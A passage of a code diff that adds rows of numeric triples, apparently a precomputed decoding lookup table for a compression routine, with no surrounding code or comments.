+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,12,2368},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,896},{7,4,6},
+{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},
+{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},
+{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},{7,8,44},{7,6,17},
+{9,9,1408},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},
+{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},
+{7,8,42},{7,6,16},{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},
+{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},
+{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},
+{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},
+{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},
+{9,9,960},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},
+{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{11,12,1984},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},
+{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1600},{7,4,5},{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},
+{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},
+{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},
+{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},
+{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1536},{7,4,5},{7,8,43},{7,6,17},{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},
+{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},
+{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,9,768},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,11,1920},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},
+{9,9,896},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},
+{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},
+{7,8,44},{7,6,17},{9,9,1408},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},
+{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},
+{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},
+{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},
+{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1472},{7,4,5},{7,8,43},{7,6,17},
+{9,9,1216},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},
+{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},
+{7,8,41},{7,6,16},{9,9,960},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,704},{7,4,6},
+{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,12,2240},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,832},{7,4,6},{7,7,19},{7,5,8},
+{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},
+{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1600},{7,4,5},{7,8,44},{7,6,17},{9,9,1344},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},
+{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},
+{9,9,1088},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},
+{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},
+{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1536},{7,4,5},{7,8,43},{7,6,17},{9,9,1280},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},
+{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,1024},{7,4,6},
+{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,768},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},
+{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{11,12,2496},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,40},{7,6,16},{9,9,896},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},
+{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1728},{7,4,5},{7,8,44},{7,6,17},{9,9,1408},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},
+{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1152},{7,4,6},{7,8,32},{7,5,8},
+{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{12,11,0},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},
+{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},
+{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1472},{7,4,5},
+{7,8,43},{7,6,17},{9,9,1216},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},
+{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,960},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,9,704},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,11,1792},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,832},{7,4,6},
+{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},
+{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},
+{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1600},{7,4,5},{7,8,44},{7,6,17},
+{9,9,1344},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},
+{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},
+{7,8,42},{7,6,16},{9,9,1088},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},
+{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},
+{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},
+{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1536},{7,4,5},{7,8,43},{7,6,17},{9,9,1280},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},
+{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},
+{9,9,1024},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,768},{7,4,6},{7,8,37},{9,5,128},
+{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{11,11,1856},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,896},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},
+{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1728},{7,4,5},{7,8,44},{7,6,17},{9,9,1408},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},
+{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1152},{7,4,6},
+{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},
+{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},
+{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},
+{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,960},{7,4,6},{7,8,31},{7,5,8},
+{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,12,2176},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},
+{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},
+{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1600},{7,4,5},
+{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},
+{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},
+{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},
+{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},
+{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1536},{7,4,5},{7,8,43},{7,6,17},
+{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},
+{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},
+{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,768},{7,4,6},
+{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,12,2432},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
